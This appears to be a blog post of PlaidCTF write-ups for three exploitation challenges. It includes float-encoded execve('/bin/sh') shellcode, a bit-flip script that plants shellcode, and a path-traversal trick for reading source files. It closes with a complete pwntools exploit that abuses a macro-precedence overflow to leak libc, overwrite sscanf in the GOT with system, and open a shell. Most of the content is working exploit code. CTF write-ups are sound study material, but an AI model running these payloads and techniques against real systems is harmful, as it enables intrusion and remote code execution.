fixedpoint_ae55a0eef8e55c22fe0b9ba2affeff67.c

0/1337.0=3a44119e, 0xffffffff/1337.0=4a44119e so we can only use gadgets between the range. All I had to do was change push   0x68732f6e and push   0x69622f2f (5-byte instructions) to mov al,(each char); dec esp; mov BYTE PTR [esp],al.

Below is formatted as gadget, Integer:Floating Point. 45 is inc esp, 46 is inc esi, which serve as NOP in the shellcode.

31 d2                   xor    edx,edx
89389b:45d23190
52                      push   edx
44bb50:45529090
b0 68                   mov    al,0x68
4bf422:4568b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 73                   mov    al,0x73
4f8b52:4573b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 6e                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x6e
4de982:456eb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x69
4c47b2:4569b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 62                   mov    al,0x62
49fec2:4562b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 69                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
89 e3                   mov    ebx,esp
948b2e:45e38990
52                      push   edx
44bb50:45529090
53                      push   ebx
450ee0:45539090
89 e1                   mov    ecx,esp
933cee:45e18990
8d 42 0b                lea    eax,[edx+0xb]
2d74e9:450b428d
cd 80                   int    0x80
15058ca:4680cd90

FLAG: PCTF{why_isnt_IEEE_754_IEEE_7.54e2}



butterfly_33e86bcc2f0a21d57970dc6907867bed

0x20041c6 = 0x400838<<3 | 6 will call start again and again, making us bit-flip until we want.

Put shellcode 0x400f00, but examine the original value and if the bit is different, flip it.

original = '\x00\x00\x00\x00\x03\x00\x0f\x00\x90\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x10\x00\x04\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x11\x00\x10\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x12\x00l\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x13\x00\xa0\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x14\x00\xb8\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x15\x00\xc0\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x16\x00\xc8\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x17\x00\xd0\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\xb0\x0c`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x19\x00\xb8\x0c`\x00\x00\x00\x00\x00'
patched = '\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42'
base_addr = 0x400f00
for N,(i,j) in enumerate(zip(original, patched)):
	addr = base_addr + N
	addr <<= 3
	for k in range(8):
		if (ord(i) & (1<<k)) != (ord(j) & (1<<k)):
			print hex(addr | k)

Then I need  call the shellcode, so I patched 0x40086b with:

48 c7 c7 00 0f 40 00    mov    rdi,0x400f00

ff d7                   call   rdi

original='bf42094000e8fbfdff'.decode('hex')
patched= '48c7c7000f4000ffd7'.decode('hex')
base_addr = 0x40086b
for N,(i,j) in enumerate(zip(original, patched)):
	addr = base_addr + N
	addr <<= 3
	for k in range(8):
		if (ord(i) & (1<<k)) != (ord(j) & (1<<k)):
			print hex(addr | k)

Then trigger 0x40086b by entering 0.

FLAG: PCTF{b1t_fl1ps_4r3_0P_r1t3}

The challenge is composed of two parts. A python wrapper and pound binary.

Local File Inclusion vulnerability exists in the python wrapper and you can easily get the source code of pound by entering 1 followed by ../pound.c. (Of course, the name of the flag is not ../flag.txt or something predictable)

host_bfc6a768d1cccc49f1cd4b880bfdac9c.py

pound.c

In the second menu, you get to input two numbers, L1 and L2, the number of state's citizens. It gets compiled as a macro. However, the wrapper does not check whether the value of L1 and L2 is solely composed of digits. So we can put characters like N, which is defined as const int N=1024 in pound.c.

In propagate_forward() function, length_diff is defined as L2 - L1. If there is any way that makes length_diff bigger than the real difference, we may overwrite variables beyond s2_citizens, like announcement.

When learning C programming, we learnt that we must ALWAYS ENCLOSE EVERY VARIABLE IN BRACKETS using define macro. However, pound.c does not obey the rule so if we put L1=L2=1+N, L2-L1 becomes 1+N-1+N=2N when real difference is 0. By the time it reaches second for statement inside propagate_forward(), i is N+1 and length_diff is 2N so it starts overwriting 2N=2048 bytes starting from s1_name to announcement and so on. Overwrite announcement with sscanf@LIBC and print_states() will leak the address, and create announcement will overwrite sscanf@GOT. Payload would be as follows.

'z'x510 (state name 1)

'z'x510 (state name 2)

1

2147483647

2

134524972 (sscanf@GOT)

0 (Leaks memory)

2

64 (fill announcement_length to avoid announcement being overwrited inside create_announcement())

4

16

system@libc

4

/bin/sh


from pwn import *

context.log_level='debug'

s = remote("pound.pwning.xxx",9765)
#s = remote("localhost",8006)

raw_input()

print s.recvuntil("3. Quit")
s.sendline("2")
print s.recvuntil("State 1 Size:")
s.sendline("1+N")
print s.recvuntil("State 2 Size:")
s.sendline("1+N")

print s.recvuntil("first state:")
s.sendline("z"*510)

print s.recvuntil("second state:")
s.sendline("z"*510)

print s.recvuntil("Enter Your Choice: ")
s.sendline("1")

print s.recvuntil("Enter the amount to set the states in: ")
s.sendline("2147483647")

print s.recvuntil("Enter Your Choice: ")

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("134524972") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("0")

x = s.recvuntil("Enter Your Choice: ")
import re
sscanf_libc = u32(re.findall("PSA: (.+)", x)[0][:4])
system_libc = sscanf_libc - 0x15f10
print hex(sscanf_libc), hex(system_libc)

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("64") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("4")
print s.recvuntil("Enter the length of your announcement: ")
s.sendline("16\n"+p32(system_libc))

print s.recvuntil("Enter Your Choice: ")
#s.sendline("4")
#print s.recvuntil("Enter the length of your announcement: ")
s.sendline("/bin/sh")
s.interactive()


FLAG: PCTF{pr3pr0cess0rMacr0s@areFuture}

+ Recent posts